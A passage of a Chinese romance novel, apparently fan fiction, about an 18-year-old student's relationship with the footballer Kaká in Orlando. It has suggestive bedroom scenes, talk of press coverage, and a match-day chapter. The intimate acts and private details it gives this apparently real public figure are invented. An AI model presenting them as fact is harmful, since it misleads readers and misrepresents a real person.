我眨了眨眼,不禁想象了一下,如果莱昂或者达尼尔此刻正待在楼下,听到我们正在楼上……我不由得打了个寒噤,身上瞬间激起了一层鸡皮疙瘩。 “好吧好吧。”我佯装生气,在他脖子上恶狠狠地咬了一口,决定放过他。 “抱我去浴室。”我微微扬起下巴,用命令的口吻说道。 “我们不能——”他试图拒绝。 “放心啦,我自己洗澡。我就是想让我的男朋友抱我过去嘛。”我环绕住他的脖子,娇声软语地说道。 - 浴室里,灯光昏黄黯淡,暧昧的气息在狭小的空间里肆意弥漫。 我的双腿紧紧缠在这个男人的腰间,整个人被他稳稳抵在宽大的洗手台上。我们的唇瓣紧紧贴合,一次又一次地热烈亲吻,双手在彼此的身上来回游走。 “我帮你试试水温。”又一个漫长而缠绵的舌吻过后,他微微喘息着,小心翼翼地把我放下来。 片刻后,他在淋浴间里调试好了花洒,高声道:“现在水温刚刚好。” “亲爱的,你真贴心。”我回应着,开始动手把黏在身上的短袖开衫脱下来。 就在他转身往外走的瞬间,我赤着脚站在原地,外衣外裤已经褪去,指尖正搭在内衣搭扣上,准备解开。 “呃,” 他猛地顿住脚步,近乎慌乱地避开我的目光,“水好了,你可以洗了。”他吭吭唧唧地说道。 我原本打算继续手上的动作,可就在这一刻,一股莫名的羞怯突然袭来。 哦。”我轻声应道,手上的动作也下意识地停了下来,悬在半空中。 “我先,呃,我是说,我先出去了。”他窘迫得语无伦次,然后仿佛使出了在球场上带球冲刺的速度,大步流星地迈出了浴室。 我心中浮起一阵失望,却又不由自主地松了一口气。 真是的!我暗自懊恼,用手背贴了贴自己发烫的脸颊。太不争气了!那些电影里的暧昧情节平时都白看啦? 31. 晨起暧昧 翌日清晨,晨光如同融化的太妃糖般流淌,将纱帘浸染成半透明的焦糖脆片,空气中弥漫着一股陈年苹果酒的馥郁。 我在半梦半醒的朦胧中缓缓睁开双眼,意识逐渐回笼,这才发觉自己正枕在里卡多的臂弯里,手腕搭在他的腰上,体温从交叠的衣料间渗过来。 “我们怎么睡在了一起?”我眨着惺忪的睡眼,从他怀抱中抬起头,扣在他腰间的拇指碾过睡衣刺绣的缠枝花纹。他似乎已经醒来有一会儿了,发梢浸在光晕里,食指正顺着我蜷起的手背向上游走,带着一种小动物般的抚慰。 “昨晚你喝了很多酒,甜心。” “昨晚?”我迷迷糊糊地重复着,脑海中一片混沌,“喝酒?我好像记得一些,这是怎么回事?” “你和丹尼尔,你们俩差不多把一整瓶伏特加都喝光了。”他捏了捏我因刚睡醒而显得皱巴巴的小脸,语气中既有笑意也有无奈。 “我们玩这么猛?”我瞪大了眼睛,难以置信道。 “还有半箱苹果汁,用来兑伏特加。” “我记不太清楚了。”手肘撑着身体缓缓支起,脑袋轻轻晃了晃,我瞥见手臂内侧的皮肤,因彼此长久贴合而泛起了如葡萄酒渍般的深红,“我的头有点疼。”我可怜兮兮地说。 “还有哪里难受吗?”他关切地问,帮我调整了脑后的靠枕。 “肌肉好酸痛。”我喃喃道,目光不由得巡游四周——没错,我还在自己的房间里。随后,目光又慢慢溜回到他的脸。 “我感觉自己像是被一只黑猩猩追赶了一整晚。”我怀疑地盯着他,“不会是你整晚都压着我吧?” “你要不要看看我们谁压着谁?”他露出了一副哭笑不得的表情。 “可我们怎么会到一张床上?”我脸不红心不跳地把正交缠在他身上的腿收回来,脚趾不小心蹭过他小腿上的绒毛,“你这个老古董开窍啦!半夜来我房间爬我床?想趁我喝醉后轻薄我?” “咳,”他轻咳一声,面庞泛起了一丝红晕,“你昨晚喝醉后,一直牢牢地抱住我不放。” “是吗?”我的眉毛瞬间扬起,几乎要飞舞到头发里了,“那我的衣服也是你帮我脱的?” 他眼神一慌,心虚地迅速扫了我一眼,旋即错开眼睛:“如果我说昨晚是你自己觉得热,坚持要脱衣服,你会相信吗?” “那我的,”我停顿了一下,脸上也开始泛起红晕,“我的内衣也是你,咳咳,唔,我自己脱的?” “嗯。”他几乎微不可闻地应了一声。 “你给我换了睡衣?” 他又“嗯”了一声。过了几秒,他似乎担心我误会什么,急忙补充道,“你当时说你要穿那件‘可爱小狗’图案的,我在衣柜和行李箱里都没找到,就给你拿了一件新的。呃,是全新的,专门为你买的。” “哦。你为我买了一件新睡衣。”我不明所以道。过了一会儿,我才意识到他在急着解释什么,他怕我误会这是卡洛琳留在这儿的。 “实际上,我买了很多件。不光是睡衣,还有其他更贴身的……嗯,我让蕾拉提前去买的,我怕你带来的衣物不够,如果你不喜欢这个牌子,我可以……” “亲爱的,你真是太体贴了。”我眨了眨眼,轻轻捧起他那张仿佛摇着尾巴似的狗狗脸,深情地亲了他一口,“但是你怎么知道我的尺寸呢?” 巧克力小狗瞬间变成了热腾腾的红丝绒小狗。 “我跟她说,买中码就行。”他看着我,小声道,“你的骨架很纤细,但个头高挑。” “那件‘可爱小狗’应该被我落在马德里了。”我揉着仍有些发胀、隐隐作痛的脑袋,努力在记忆中搜寻着,“这件睡衣穿起来很舒服,我很喜欢,尺码也正合适。等会儿我再去试试其他‘更贴身的’。” 毕竟我现在里面什么都没穿。想到这儿,我的脸愈发红了。也不知他是不是和我想到了一块儿,看上去脸红得也更加厉害了。 这件真丝低胸吊带睡衣,质地如云朵般轻盈柔软,紧紧贴合着我粉白的肌肤。我斜倚在床头,鹅绒被轻轻滑落,半遮半掩地搭在我的髋骨上,几乎将我上半身的曲线展露无遗。 房间的玻璃窗敞开着半扇,飘来一缕初秋清新的风、一束金色的斜线和白喉麻雀的喈喈鸣叫,鸟啼声宛如远处管风琴的曼妙低音。窗帘里层的半透明薄纱飘扬起来,宅邸外平静的湖面上便乍然而起层层涟漪。 玫瑰色的墙壁和房间深处的红木家具闪着醇酒一般的赭红色光泽,地板像玻璃一样亮盈盈,只在碎毡小地毯铺陈之处,紫光蓝彩交相辉映,如同栖息其间的鳞翅闪蝶。 在我身旁半躺着的男人静静凝视着我,仿佛刚从我的梦境里走出。一头凌乱的棕发像是小羊羔的卷毛,也像春日新生的蕨草。那双眼睛晶莹剔透,像在花苞上滚落的水珠。 “昨晚,你有没有亲手感受一下我的尺寸?”我忽地低下头去凑近他。 他的喉结微微滚动,蒲扇般长而浓密的睫毛轻轻颤动了几下。我的发丝扫落在他敞开的第三颗睡衣纽扣上,于是视线自锁骨往下浮动。 我的天使,如此诱人,让人难以抗拒。 “佐伊!”当我伸手抚上他时,他不禁低声呼唤。那声音仿佛从身体最深处溢出,带着一丝压抑的渴望。 “昨晚,你有没有像我现在这样?”我在他耳畔低语,指腹的动作细腻而持续,就像在轻柔地捻动着一朵花粉四溢的樱桃色长筒花,待到花瓣蜷曲微张,便又转而揉上另一朵含苞欲放的羞花。 他直勾勾地看着我,眼眸中的颜色似乎更加浓郁了几分。 他握住了我在他胸前支起的手腕,却没有阻止我指尖的动作。“昨晚,我什么都没做。”他的气息散乱。 “我知道。” “你不知道。” “不知道什么?” “昨晚我什么也没做。但是你——”他的手牢牢抓着我的手腕,引导它缓缓滑入被子里,我惊讶地看着他,他没有立即解释,直到,往下滑去,我触碰到了那炽热之处。 猝然间,我的全身都被一阵突如其来的热浪席卷了。 “你,你,你这是——”我结结巴巴,脸颊滚烫,仿佛被火烧云染透。 “昨晚我什么也没做。但是你,就像这样……” “这,这样?”我惊慌地重复他的话。 “嗯,而且,你一直握着不放。” 我如同被电流击中,猛地抽回了手。 我感觉脑袋越发晕乎乎的,整个人没有骨头似的往后一仰,陷入到了万分柔软的丝绸靠枕中。我随即翻了一个身,把自己的脸正面埋在其中。 他缓缓接近我,伸出手摸了摸我的耳垂——滚烫,并且必然通红的耳垂,然后低声笑了笑。 “甜心。”他喊我。我保持着把脸捂在枕头里的姿势,一动不动。 “小狐狸?” 我听不见我听不见我听不见。啊啊啊!没脸见人了! “你刚才不是很大胆吗?”他拨弄着我的头发,慢悠悠道,“昨晚的你可不是这样害羞,你说你从来没这样做过,要我教你,还问这个力度我满不满意。” 要他教我?!满不满意?!我遽然一震。这都是些什么虎狼之词啊!! “那,那你教我了吗?”我的声音从枕头里闷闷地发出,细如蚊蚋。 “我不想在你喝醉的时候教你这些。虽然你能无师自通,嗯,动作有些粗鲁,不过你没有动几下就睡着了。”他的手指轻轻按在我的腰窝上,鼻尖在我耳后的那一小块皮肤上摩挲,吐息似蝶翅般掠过耳廓,我开始泛起一阵阵颤栗。 “要不要把昨晚没做完的事做完?” 昨晚?做完?做什么?做完什么?什么做完?完蛋了!小狗变成大灰狼啦!! “上帝在上,你,你,你可是虔诚的基督徒啊!”我急促地吐出这句话,心跳如擂鼓,感觉自己仿佛变成了一团闷在壁炉中噼啪作响的炭火。 “上帝不会偷窥我们的隐私。这不是你昨天说的吗?”他含着笑说,鼻尖又抵住我的后颈凹陷,呼出的热气让脊椎窜起电流。 我把眼睛紧紧一闭,然后又飞快地睁开,翻过身来直视着他。 “昨晚,我,……真的吗?我对你?” 他挑起眉毛,“你现在好红。”他贴近我,深深地在我脖颈间吸了一口气,喃喃道,“好热,也好香。昨晚我一动都不敢动,就像你现在这样。”暧昧的笑声传来,“我必然虔诚,小家伙,否则你这样挑逗我,我真的会抑制不住自己。但是亲爱的,我可以诵念《圣经》来按捺自己心底的渴望,却无法控制我身体的反应。” 我瞪大眼睛。他抬起头,摸了摸我的脸蛋,温柔地说:“你再睡一会儿,等头不痛了再起来。我先送丹尼尔去机场,然后要去基地训练。中午你自己在家吃饭,有什么需要就找管家。我下午三点就会回来。” 当他掀开被子起身时,我瞥见了刚才与我的手有过亲密接触的那个部位。衣料之下,尺寸惊人。 惝恍的醉酒记忆片段闪现,我昨晚似乎,真的,对它,做了有些过分的事…… 而我们的基督徒先生在黑暗中紧闭双眼,脸上是克制与隐忍的表情,伴随着粗重的喘息声…… 不能细想,不敢细想。 我缩进被子里,让自己吞咽的声音混进布料窸窣的潮声中,身体开始微微发麻,不知是血液的短暂凝滞还是心跳过载的错觉。 - “等会儿我也一起去机场吧。” 当我梳洗完毕,走进早餐厅时,两位男士正享受着早餐。一位极其英俊优雅,简直就是情景剧里走出的男主角;另一位则带着宿醉的疲惫,懒洋洋地歪在椅子上,漫不经心地拨弄着盘中的食物。 “早上好,佐伊!”一个勉强打起精神的招呼。 “不再休息一会儿吗,甜心?”另一个关切而温柔的声音。 “早上好,先生们。”我在里卡多旁边坐下,对他露出一个甜美的微笑,“刚醒来时有点头晕,不过现在好多了。” “我们昨晚是一起喝酒的吗?”丹尼尔目光飘忽地望向我,“怎么你的状态好得像是能直接下去跑个马拉松似的?” 我从容地往餐盘里盛了些南瓜、贻贝、虾仁、沙拉菜混合的地中海风味沙拉,“我还没满十九岁呢。” “啊哈?”丹尼尔张大了嘴,一脸迷惑。 “想想你十八岁时的体力和活力,再看看你现在的年纪。”里卡多慢悠悠地解释道。 丹尼尔哀怨地瞥了他一眼。 “现在佐伊的热度可比你高多了。”他转而调侃起来,“你们昨天虽然是私人行程抵达奥兰多,但球迷抓拍的照片被很多媒体放在了报道里,标题都是诸如‘卡卡走出离婚阴影,携新欢同回美国’之类的。” 里卡多淡淡一笑:“过段时间,他们就会习以为常了。” “我看不会。”丹尼尔耸了耸肩,“他们对来美国的足球明星总是紧追不舍,就像鲨鱼嗅到了血腥味。更何况你一直以来都保持着良好的公众形象,没有那些足球坏小子的不良嗜好,他们很有可能觉得这次终于有机会从你身上挖出一些猛料了。” - “甜心——” 声音在静谧的车厢内响起。我正坐在副驾驶座上,里卡多稳稳地握着方向盘。我 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“没有,嗯,”我缓缓开口,“我只是没意识到这一点。你说得对,我确实还沉浸在这份新鲜感里,只是自己浑然不觉。”我把目光落到仪表盘上,指针在每小时75英里的刻度附近来回摆动,不时有车辆从我们左侧呼啸而过。 “被人追踪、拍照,因为球星男友而出名,虽说这算不上令人兴奋,但也不至于让我心生厌恶。而且,这对我来说,是一种全新的、从未有过的体验。哦,这更加提醒了我,我确实还不到十九岁,我没有我以为的那么成熟。” “你已经表现得非常冷静了。”他说道,“我在你这个年纪的时候,绝对没有你这样的心态。我二十来岁在巴西踢球时,还是个默默无闻的小球员,却意外收到了欧洲豪门的邀请。即便是转会到米兰的头两年,我还沉浸在一种巨大的兴奋中。” “其实我在担心,我会不会给你带来麻烦。”我直视前方的道路,坦白道。 “当然不会。”他显得很诧异,“你给我带来的只有快乐。” “你以往的形象一直都无可挑剔。”我咬了咬嘴唇,接着说道,“可如今,有些人觉得你有不道德的行为,一门心思地想要找出所谓你‘婚内出轨’的证据;还有些人认为你有肤浅之嫌,就像其他有名有钱的男人一样,只知道追逐年轻靓丽的美女。” “原来你在为这个发愁啊。”他的眉头渐渐舒展开,随后轻转方向盘,驶离了高速公路。 “我知道你不在意这些话。”我双手交叉,指尖相互缠绕,将视线从前方单调乏味的路面上移开,转而投向了他,“你是一个出色的球员,也是最好的朋友、儿子、父亲和爱人。我了解你,所有和你相处过的人也都清楚,你真的非常优秀。可现实就是这么不公平,人们往往对那些真正的胡作非为兴致缺缺,却总是热衷于挖掘品德高尚者的道德瑕疵。” “甜心,谢谢你这么认可我。”他柔声道,“你有没有注意到,在这些哗众取宠的报道中,你也难免被抹黑。” “我知道,但这些都是无稽之谈,我只觉得可笑,不,甚至连可笑都算不上,我根本不在乎这些言论。” “那你就体会到我的态度了。”他笑了起来,“我听过更难听的话。从我的名字第一次被印在报纸上起,记者们就开始对我展开各种猜测和曲解。一旦你出了名,不管你是好孩子还是坏小子,总有人对你评头论足。这与你的品行优劣无关,也不是因为他们喜爱或厌恶你,只是因为你有名气,而他们需要你的名气。 “抛开媒体不谈,即使是在足球场上,对方那些被攻破球门的愤怒球迷也会用千奇百怪的污言秽语来攻击你。甚至,连你自己球队的球迷,都可能会因为你某一场比赛表现欠佳而嘲笑你。足球是一项激情澎湃的运动,球迷们是一群最纯粹的人,如果你不能为球队攻城拔寨,就难以受到他们的欢迎。” 他的叹息声轻轻飘摇到我心底,激起一圈圈涟漪。车窗外的景色渐渐变得熟悉。 “我年轻的时候,曾十分在意这些。那时,外界的种种声音让我烦忧不堪。但随着时光流转,我渐渐明白,唯有家人给予的爱与支持,才是毫无保留、毫无条件的。可遗憾的是,就连这份最为珍贵的爱,我也没能守住。我这才明白,自己并非能掌控一切。外界的评价、我的职业生涯、我的婚姻、我的生活……所有的一切,仿佛都失控了。” 他沉默了一会儿。汽车宛如一支轻盈的羽毛,滑入了湖畔的小道,仿佛它本身就是湖面倒影的一部分,巧妙地融入了这片宁静景致之中。 “你还有我。”我忽然说,“现在在你身边的人是我,我来爱你。” “因为有你,我的生活才重新步回正轨。”引擎的声音渐渐沉寂,他把手伸向我,“我经历了这么多,我曾经在每一个深夜和凌晨默默流泪,我无数次问自己,为何主不再眷顾我不再爱我,我一度觉得生活毫无意义,我并没有你说的那样充满热忱、那样勇敢无畏。佐伊,你唤回了我的勇气。因为看到你的勇敢,我才敢去勇敢;因为感受到你爱我,我才敢去爱。 “曾经我拥有过很多,可它们逐一离我而去;我曾对许多人和事满怀在乎,然而这份在乎只给我带来了更深的伤痛。和你的爱相比,我生活中的其他一切都相形见绌。” 我怔怔地望着他,一时之间,话语似乎被冻结在了喉咙里。 “所以,不要再为那些事情烦恼。旁人的任何言论都无关紧要。在我们的世界里,它们都不重要。”他的目光紧紧锁定我的眼睛,“如果我是你的猎物,那这就是一只心甘情愿落入陷阱的猎物。如果我是你的锚,那这只锚已经伤痕累累,只盼能心满意足地回到它的船上。” 32. 比赛前夕 在奥兰多的这几天过得依然平静。 金橡树庄园是一个安保措施极为严密的封闭式豪华社区,记者们只能在社区大门外蹲守。然而,除了我和里卡多一同前往机场送别丹尼尔,以及当天晚上我们去迪士尼观看烟花这两次短暂露面之外,一连许多天我都未曾外出。里卡多也不再像以往那么好说话,愿意停车与他们交谈,如此一来,大多数记者都不再自讨没趣地继续蹲守。 有一回,里卡多结束训练回来跟我说,基地门口等候的记者变多了。我推测,想必是那些原本守在金橡树庄园的记者,眼见着毫无成果,便转移了阵地。 “我的队友们挨个被他们追问,问有没有见过卡卡的女朋友。”里卡多边说,边从水晶果盘里挑出一串绿葡萄,“现在你成了球队里最热门的人物。那帮家伙一个个都不专心训练,缠着我非要看你的照片。” “你给他们看了吗?” “给他们看了几张我们在马德里拍的照片。他们都夸你漂亮极了。他们还吵闹着想来我们家开派对。” “在这个时候?你们周六就要比赛了。”他把一颗葡萄送到我嘴边,我微微低下头,用嘴唇接过。 “我当然没答应。他们在那里吵吵嚷嚷,不巧被教练听到了。结果除了我,其他人都被教练训斥了一通,还被罚去加练。”他微微摇头,神色间满是无奈,“我也好好训了他们一顿,让他们必须把心思都放在训练上。” “你还会训人呀,宝贝。”我含着那粒果实,说话有些含糊。牙齿轻轻咬破那层薄如蝉翼的果皮,顷刻间,一股清甜的汁水在口腔中迸发,一丝恰到好处的微酸。 他听了,一侧眉毛微微挑起:“有时候,对这些小伙子就得严格点。尤其是当他们像没头苍蝇一样胡闹的时候,总得有人把他们拉回正轨。” “你平时脾气太好啦,偶尔扮演一次严厉的队长也挺合适的。” 我穿着里卡多那件宽松的旧T恤,修长的双腿随意地交叠在沙发上,后背倚着缀满深红色玫瑰花蕾的软垫。我斜眼瞧着他,含着笑道:“队长,你能不能也训训我呀?” 他离我不过一臂之遥,端详着我,露出一抹笑意。“你是个乖女孩。队长可不会训好孩子。”他的眼神比他手中那沉甸甸的绿葡萄还要甜腻。 “哦。”我把眉毛和鼻子一皱,摆出一副无辜至极的模样,“你被我给骗啦。其实我可不是什么好姑娘。” “那你都做过什么坏事?” 他饶有兴致地问。 “比如——”我故意停下,卖了个关子。 “嗯?”他十分配合地应道 我向后仰得更深,伸出一只光洁的腿,将肉色的脚趾轻踩在他的小腹与大腿之间,而后,如同蝴蝶在花蕊间轻舞,从他紧实的腹直肌上缓缓滑过,一路向下,直至那敏感的腹股沟。“比如,我有过一些不太规矩的幻想。” 我的脚又往中间悄然挪动了几厘米,此刻,我的脸早已滚烫一片,但我仍鼓足勇气,大胆地直视着他。 “我很好奇。”他目不转睛地望着我,仿佛我是一道既神秘、又诱人的谜题。 “极度狂野、极度绮丽的幻象。”我低声呢喃,“你,以各种姿态出现——在广袤的原野上肆意奔跑、野性难羁的你;身披白蜡色或赤红色球衣、大汗淋漓的你;在绿茵场上仰卧、绽放纯真笑容的你;白昼里,你是侍奉耶稣、神情庄矜的宠儿,夜晚,却摇身一变,成了月亮女神塞勒涅梦中的爱侣…… “一个又一个你,栖居在这具俊美、强壮躯体里的勾魂摄魄的精灵,在柔情蜜意的漩涡里喘息不止,在我的身上或身下,用亲吻将我的面颊和双唇淹没。当我翻阅希腊神话时,阿多尼斯是你,赫拉克勒斯是你,阿波罗也是你,是繁盛的花枝和蜿蜒的河流紧紧缠绕着我,是浓厚温暖的泥土包裹着我……” 他像着了魔似的坐在那里,嘴角的微笑接连不断地涌现。颜色转深的眼眸中,原本充满惊奇的光芒正渐次被欲望的色彩所取代。 我把脚往下踩,他瞬间有了反应,猛地伸手抓住我的脚踝,用掌心的薄茧轻轻摩挲着。而后,他的手沿着我的腿,缓缓向上游移,他的身体逐渐靠近。 他的眼睛凑得那么近,看起来大得异乎寻常。他轻轻按压着我的唇瓣,指腹格外温暖,指尖沾染了我唇上残留的葡萄汁液,晶莹剔透。片刻之后,他收回手,将那沾有汁水的手指放入自己的口中。 “甜美多汁?”我歪着头问。 他莞尔点头。“这可不算是太坏。要是你知道我对你的那些幻想有多……出格,你就会明白了。” “我们都是顽皮的孩子。”我拿起他方才搁置在一旁的那串翠绿葡萄,从中摘下一颗,拈着梗递到他唇边。 他的嘴唇紧致且富有弹性,露出的白牙洋溢着琥珀般的色泽。他含住葡萄,就在舌头翻动的瞬间,不经意舔过我的指尖。“两个顽皮的孩子。” “你幻想我什么了?”我好奇道。 “这可不能告诉你。” “对我保守秘密?” “甜心,我毕竟是个再正常不过的男人。”他轻描淡写道。 “那你会不会——”我又摘下一颗,将果肉衔在双唇之间,朝他俯身,T恤领口垂落的阴影正巧笼罩他的眼睑。那枚圆润从我的唇间送至他的唇上。 他顺从地纳入口中,果肉在齿间裂开的声响被无限放大。我带着一丝暧昧的笑意,问他:“自己解决?” “不会。” “一次都没有?”银丝般的蜜线在我们唇间黏连,我追问道。 “没有。”他伸出手,宠溺地摸了摸我的脸颊。 “那离婚之后,认识我之前的那段时间呢?” “没有。” “那你在渴望的时候怎么办?” 他微微一笑:“颂读《圣经》,等那种感觉自然消退,或者去冲个冷水澡,让自己冷静下来。” 我不禁对他投以敬佩的目光,他的自制力着实令我讶异。“我猜你也从不看成人影片吧?” 他摇摇头,眼神坦诚而直接:“我确实没看过。” “从来都没有?哪怕在你青少年时期?”我将信将疑,手指在他衣衫下的胸膛上划动,指尖伴着话语节奏缓缓打着圈。 他轻咳一声,似乎有些尴尬:“除了那些用于性教育的资料。” “哇哦。”我一时竟有些语塞,过了好一会儿才开口,“这么看来,我才是那个坏孩子。” 我得出结论,“你乖得简直有些古板了。” 他没好气地一把捉住我的手。“古板?是吗?那你说说,那天早上是谁脸红得像个熟透的苹果?”他指的是我们在床上有过亲昵举动的那次。 “前一晚我喝醉了。”我抗议道,“而且那可是我们头一回同床共枕。现在情况可大不一样了。”毕竟,如今每晚我们都相拥而眠,只不过每一次都单纯得不能再单纯……仅仅是睡觉而已。 “我们什么时候能再……有更亲密的接触呢?”我声音低婉,脸颊不由自主地染上一抹绯红。 他的眼神开始闪烁,耳垂也红得厉害。“呃……”他似乎在斟酌着什么,声音里透着一丝迟疑。 “今晚怎么样?”我微微咬着下唇,试探着问道。 “不行。”他脱口而出。 这突如其来的拒绝,如此干脆利落,实在是让我觉得难堪!我顿时气鼓鼓地瞪着他,一股冲动涌上心头,我猛地朝他扑了过去。 “哎呦,甜心!” 一番嬉闹过后,他原本整齐的头发被我折腾得乱作一团。他用两只胳膊搂着我,将我牢牢地抱在怀里。 “等这次比赛结束后。”他低声在我耳边说道,我惊讶地偏过头看他。 “就这么定了。”我飞快回答。 “你是想在顶层的包厢里看比赛,还是愿意坐在低层的看台?”他转移了话题,“包厢里有沙发,你可以在那里放松休息,还备有饮料和零食,私密性绝佳。看台能让你接近球员和教练,周围都是球迷,氛围会很热烈。” “看台。”我不假思索道,“我想离你更近一些。” “嗯。”他看上去很开心,“到时候我安排尼克陪你一起去。” - 随着比赛日的临近,我注意到这个男人愈发显得兴奋。房间里,他的身影来回忙碌,一会儿踱步至窗前,极目远眺 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与此同时,里卡多则利用每一个白天训练的间隙给我发信息,津津有味地看我拍摄的花圃栽种进度照片,尽管训练结束后他就能和我面对面聊天。回到家,他非得和我待在同一个房间,热衷于给我递上削好皮、切好块的各种水果,甚至抱着我去任何我想去的地方。 “你队友们的女朋友,会经常来看他们比赛吗?”我好奇地问。 “有时候会来,但不常这样。”他答道,“赛季中,球队的比赛安排得很密集,而且常常要奔赴不同城市踢客场。如果谁的女朋友或太太来看比赛,那家伙准会在更衣室里大肆炫耀一番。” “哦。”我沉吟着,然后认真地说,“我会尽量来看你以后的每一场比赛。” “甜心——”他惊讶地叫出声,“你平时还得上课呢。” “所以我才说‘尽量’嘛。”我吐了吐舌头,“我查了美职联的比赛时间表,大多数比赛都安排在周末。只要你比赛那天我没课,也没有讲座和社团活动,又或者我能请到假,我一定会飞过来看你。从芝加哥飞往美国各地都很方便,我完全可以当天往返。” “我很感动,但我恐怕不能答应你这么做。”他留意到我的表情,不禁苦笑道,“别皱眉,宝贝,你知道这样的安排并不合理。当天往返?还得在球场上坐几个小时,大半时间都在欢呼呐喊,第二天你还得拖着疲惫的身体和精神去上课。照这样下去,不到一个月你就会累垮的。要是我同意你这么做,那我可就太自私了。而且,我也不希望你因为我而影响学习。” “不会影响学习的。我会合理安排时间,平衡好看比赛和上课。”我试图说服他。 “其实,需要我上场的赛次也不算很多,我向你保证,只要我有空,就会飞到芝加哥去陪你。”他安慰我。 “我当然很想见到你,但我想去看你的比赛,不全是因为想念你。”我认真道。 他显得颇为意外。“那是什么原因呢?” “因为,”我稍作停顿,垂下了眼睑,“因为再过几年你就要退役了,我能亲眼见到你在球场上全力奔跑的时刻会越来越少。足球是你的事业,是你的荣誉和激情所在,而我想要见证这一切,仅此而已。对你来说,能在绿茵场上尽情享受竞技乐趣的时光有限,对我而言,能看到你如此享受、如此全情投入的机会,同样弥足珍贵。” “佐伊——” 我抿了抿嘴唇,抬起头,与他四目相对。 “谢谢你。”他低声说,“我真的很感动。但我还是坚持我的想法。这一次,我希望你能听我的意见。” 我叹了口气,心里明白自己的坚持显得不够理智,可倘若人生只有理性可言,不渗入一点激情和冲动,那岂不是会苦涩粗粝得令人难以下咽? 况且,我的生活固然重要,但我的爱人同样是我生活与未来不可或缺的一部分。他与我息息相关,密不可分,我只是想要见证他的快乐、荣耀和一切所爱。 “如果第二天我没课,当天也不用请假,我能来看你的比赛吗?”我问。 “当然可以。”他答道,“我会非常非常开心的。” 33. 我们的卡卡 奥兰多城和纽约红牛队比赛那天,我戴着棒球帽,架着墨镜,和尼克一起提前了半小时进场。 球场内几乎座无虚席,是一片碧空无云、光辉大盛下的紫色海洋。球员们正三三两两地分散在草地上热身踩草,里卡多正用脚尖颠着球踱步。我和尼克的座位极佳,位于教练和替补席所在的那一侧,正中间的第一排。 热身完毕,球员们陆续离开场地。我把目光从里卡多身上收回,摘下帽子和墨镜。这时,我才留意到身边坐了一群穿着红黑相间球衣的球迷,在一片紫色中尤为显眼。 我正想和他们交谈,四周恰好爆发出一阵排山倒海的欢呼声,原来是球员们开始正式入场了。 大屏幕上,双方球员的特写镜头逐一呈现。待所有球员依次亮相后,镜头再次聚焦在里卡多身上,这位足球巨星似乎总能吸引镜头的特别关注。 然而,紧接着的一瞬,镜头毫无征兆地一转,对准了观众席。 我整个人都僵住了,因为大屏幕上竟然清晰地映出了我自己的模样。 身穿紫色紧身上衣,搭配着白色牛仔短裤,栗色长发被高高束起,高马尾在脑后轻盈摆动,一个青春洋溢的少女。 不过,我很快便反应过来,绽开一个灿烂的笑容,自然而然地抬起手,对着镜头比出一个俏皮可爱的手势。灼热的空气里顿时炸开混杂着口哨与欢呼的声浪。后排的观众急着探身向下眺望,左右两边的球迷也纷纷侧过脑袋,上上下下地打量着我。 “哇哦!是她!” “快瞧那个女孩,是卡卡的新女友,她居然来看卡卡比赛了!” 镜头停留了足足半分钟,直到我感觉挂在嘴角的笑容快维持不住了,它才慢悠悠地移开。 我扭头对盯着我的球迷们打招呼:“你们好。” “嗨,卡卡的女孩。”他们这样称呼我,有人对我报以微笑和点头,还有人亮起手机闪光灯对着我咔嚓咔嚓拍照。 随着裁判清脆的一声哨响,比赛的序幕正式拉开。开场的前十分钟,双方势均力敌,球权在中场线上不断交换。里卡多身披十号球衣,不断在场上跑动着,寻找着机会。 突然,他在中场接到了队友的传球,他用脚背轻轻一挑,足球便高高越过了对方中场的头顶,落在了我方边锋的脚下。边锋如猎豹般带球疾进,里卡多则心领神会,迅速前插。 我全神贯注,目光紧紧追随着这具充满力量与美感的身影。随后,边锋瞅准时机,起脚飞传,里卡多默契接球!一次完美的配合! 对方后卫警觉地上前封堵,里卡多似乎早已洞察了对方的意图,他大步流星地向前趟球,一个巧妙的变向,如同平衡力绝佳的踩钢丝者在弦上沉肩转身,轻松晃过了防守球员。 紧接着,他一脚精准的直塞,如同手术刀般划开防线,将球送到了前锋的脚下。 前锋毫不迟疑,迎球怒射,球以雷霆万钧之势飞向球门,看台上顿时响起了一片惊呼。但对方门将反应神速,飞身侧扑,在千钧一发之际,将球挡出了底线。 角球! 里卡多把球固定在角球点上,他的身影在大屏幕上被放大,特写镜头捕捉到了他泰然自若的面容,他调整着自己的站位。 看台上的气氛随之紧张起来,我不由得屏住了呼吸,心跳在胸腔中加速。 他的目光在禁区内迅速扫过,似乎在寻找着最佳的传球点。他似乎看到了,那个空当,就是那里。 他果断地助跑,起脚,足球像一只海鸥般飞翔出一道美妙的弧线,直指禁区。全场的目光都聚焦在飞行的足球上。 球速并不快,但轨迹诡异,这让对方守门员和后卫都难以判断。就在这时,队友高高跃起,一个强力的头球攻门,刹那间,球应声入网! 1 - 0!里卡多的精准角球助攻,帮助球队取得了领先。整个球场爆发出震耳欲聋的喝彩声,如同海啸来袭般席卷每一个角落。 “卡卡!”“卡卡!”这个名字在球场上空久久回荡,成为了胜利的号角。 里卡多激动万分,他奔跑着冲向队友们,与他们紧紧拥抱在一起。 巨大的欢欣同样充盈了我的心。在此起彼伏的呐喊声中,我第一次感受到了足球竞技的魅力。这是一种超越了运动本身的激情和艺术,每一个瞬间都蕴含着无尽的可能与希望。我终于明白为何这一枚小小的、飞翔的皮球能够成为他如此长久的热爱。 在这片绿茵战场上,强者能夺魁,弱者被淘汰,违规者被罚出局,这是一种多么公平、多么纯粹、多么古老,而在复杂的人类世界里极难寻觅到的规则。 它令人目不暇接、心潮澎湃,它是一场激情四溢的盛大狂欢,是一种无形的力量,将无数心灵紧密相连,共同体验着胜利的狂喜和失败的苦涩,共同见证人类精神的古老辉煌。 比赛的激烈程度随着对手的疯狂反扑而不断升级。纽约红牛队仿佛化身为古罗马斗兽场中被挥舞着剑和盾的角斗士步步紧逼的猛兽,每一分每一秒都在为扳平比分而拼尽全力。 里卡多在中场扮演着指挥官的角色,他的传球不仅精准而且富有策略,就像是在编织一张无形的网,巧妙地将对手的攻势一一化解。与此同时,对方在急躁中尝试的暴射攻门,却总是偏离目标,这不仅未能有效威胁到球门,反而引来了主场球迷们铺天盖地的嘘声。 坐在我旁边的这群身披黑红球衣的球迷们,年龄大约在三十岁到三十五六岁之间,他们声嘶力竭的助威声几乎要将整个球场的穹顶掀翻。 当中场哨声骤然响起,激烈的角逐暂时告一段落。我按捺不住内心的好奇,大声向其中一个人询问:“你们是AC米兰的球迷吗?” 